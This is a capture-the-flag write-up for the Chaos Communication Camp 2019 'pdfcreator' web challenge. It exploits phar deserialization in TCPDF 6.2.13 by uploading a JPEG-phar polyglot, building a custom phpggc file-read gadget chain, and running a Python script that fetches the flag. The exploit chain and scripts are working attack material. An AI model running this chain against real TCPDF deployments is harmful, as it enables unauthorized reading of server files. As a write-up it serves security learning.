[Web] Chaos Communication Camp 2019 CTF - pdfcreator

Description:
116

Written by: 0x4d5a

A pdf conversion service. What could go wrong?

hax.allesctf.net:3333

code.zip

Introduction

A website that converts editable content into a pdf, it uses a known tool named tcpdf , since the source code is given lets check its version at TCPDF/tcpdf.php

1
2
3
4
5
6
7
8
9
10
11
$ cat pdfcreator/TCPDF/tcpdf.php | head -10
<?php
//============================================================+
// File name : tcpdf.php
// Version : 6.2.13
// Begin : 2002-08-03
// Last Update : 2015-06-18
// Author : Nicola Asuni - Tecnick.com LTD - www.tecnick.com - info@tecnick.com
// License : GNU-LGPL v3 (http://www.gnu.org/copyleft/lesser.html)
// -------------------------------------------------------------------
// Copyright (C) 2002-2015 Nicola Asuni - Tecnick.com LTD

The version is 6.2.13 searching online for known vulnerabilities https://www.cvedetails.com/cve/CVE-2018-17057/ :

1
2
An issue was discovered in TCPDF before 6.2.22. 
Attackers can trigger unserialization of arbitrary data via the phar:// wrapper.

So it’s possible possible to perform an unserialization attack using phar://wrapper wrappers, the deserialization is triggered on functions like file_exists (line 164), getimagesize() (line 171) and file_get_contents() (line 209) in the file pdfcreator/TCPDF/include/tcpdf_images.php:

1
2
3
4
5
6
7
8
9
10
11
.... // pdfcreator/TCPDF/include/tcpdf_images.php
public static function _parsejpeg($file) {
// check if is a local file
if (!@file_exists($file)) {
// try to encode spaces on filename
$tfile = str_replace(' ', '%20', $file);
if (@file_exists($tfile)) {
$ file = $tfile;
}
}
....

This unserialization only occurs when using phar:// wrappers, but we can’t straightly upload a phar file because of the checks presented in index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.... // pdfcreator/index.php
$allowed_extensions = array('png', 'jpg', 'jpeg', 'gif');
if(!in_array($extension, $allowed_extensions)) {
die("<div class=\"container\">Invalid image extension!</div>");
return;
}
....
//Überprüfung dass das Bild keine Fehler enthält
if(function_exists('exif_imagetype')) { //Die exif_imagetype-Funktion erfordert die exif-Erweiterung auf dem Server
$allowed_types = array(IMAGETYPE_PNG, IMAGETYPE_JPEG, IMAGETYPE_GIF);
$detected_type = exif_imagetype($_FILES['file']['tmp_name']);


if(!in_array($detected_type, $allowed_types)) {
echo("<div class=\"container\">Only pictures allowed!</div>");
return;
}
}
....

This checks can be easily bypassed, the first check can easily bypassed by changing filename from exploit.phar to exploit.jpg.

The second check only checks the header we can easily append to our phar file a jpg header before our phar file. The objective is to unserialize a php class that can gives us RCE or a fileread of file flag.php, there is a good class we can use for this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// pdfcreator/creator.php
<?php
namespace PDFStuff
{
include 'TCPDF/tcpdf.php';

class PDFCreator
{
public $tmpfile;
public $finalfile;

function __construct()
{

}
...
function __destruct()
{
if (file_exists($this->tmpfile))
{
$info = pathinfo($this->tmpfile);
if ($info['extension'] == "pdf")
{
unlink($this->tmpfile);
}
else
{
echo "Could not delete created PDF: Not a pdf. Check the file: " . file_get_contents($this->tmpfile);
}
}
}

Exploit

We want to trigger functions like __construct or __destruct after object deserialization, __construct is empty so it’s not useful but __destruct is!

It can give us a file_read which is enough for what we need, but for this we need to change tmpfile variable to ./flag.php making the extesion to be diferent from pdf reading the file content instead.

I tried to manually create the phar file but failed miserly, while debugging locally with I was having some troubles passing through the function getimagesize due to some errors on jpg signatures eventually I managed to solve the problem but in the end the function __destruct was not triggering and I ended up giving up.

Eventually I found phpggc which can create for us the fake jpg file with the phar embed on it, we just need to create our own template for this:

1
2
3
4
$ git clone https://github.com/ambionics/phpggc
$ cd phpggc
$ mkdir gadgetchains/Alles/ && mkdir gadgetchains/Alles/FR && mkdir gadgetchains/Alles/FR/1
$ cp templates/* gadgetchains/Alles/FR/1/*

Modifying the chain.php at gadgetchains/Alles/FR/1/:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace PDFStuff {
class PDFCreator { public $tmpfile; }
}
namespace GadgetChain\Alles {
class FR1 extends \PHPGGC\GadgetChain\FileRead {
public static $version = '1.00';
public static $vector = '__destruct';
public static $author = 'teamrocketist';

public function generate(array $parameters) {
$a = new \PDFStuff\PDFCreator();
$a->tmpfile = $parameters["remote_file"]; // file to read
return $a;
}
}
}

Generating the payload with phpggc:

1
./phpggc Alles/FR1 flag.php -f -pj ../dummy.jpg -o ../exploit.jpg

The option -f uses a technique named fast destructor to make sure the object deserialized triggers __destruct, option -pj is to create a jpeg-phar from sample dummy.jpg(any valid jpg works) the one I used was this one, -o option is to specify the output of the payload to a file location.

After uploading the file make sure you modify the img html tag to use phar:// wrappers:

1
<img src="phar://./upload/708697c63f7eb369319c6523380bdf7a_6.jpg" width="10" height="10">

Finally writing a python script to automate this actions:

1
2
3
4
5
6
7
8
9
import requests
import re
files = {'file': open('exploit.jpg','rb')}
url = 'http://hax.allesctf.net:3333/index.php'
values = {"filename":"exploit.jpg", "Content-Disposition":"form-data", "Content-Type":"image/jpeg"}
r = requests.post(url, files=files, data=values)
file_link = re.findall(r'src="(.*)"',r.text)[0]
img = '<img src="phar://./%s" width="10" height="10">'
print re.findall(r'ALLES{.*}', requests.post(url, data={'pdfcontent':img%file_link}).text)[0]

Running and getting the flag:

1
2
$ python webPwn.py
ALLES{phar_jpeg_polyglot_madness_such_w0w}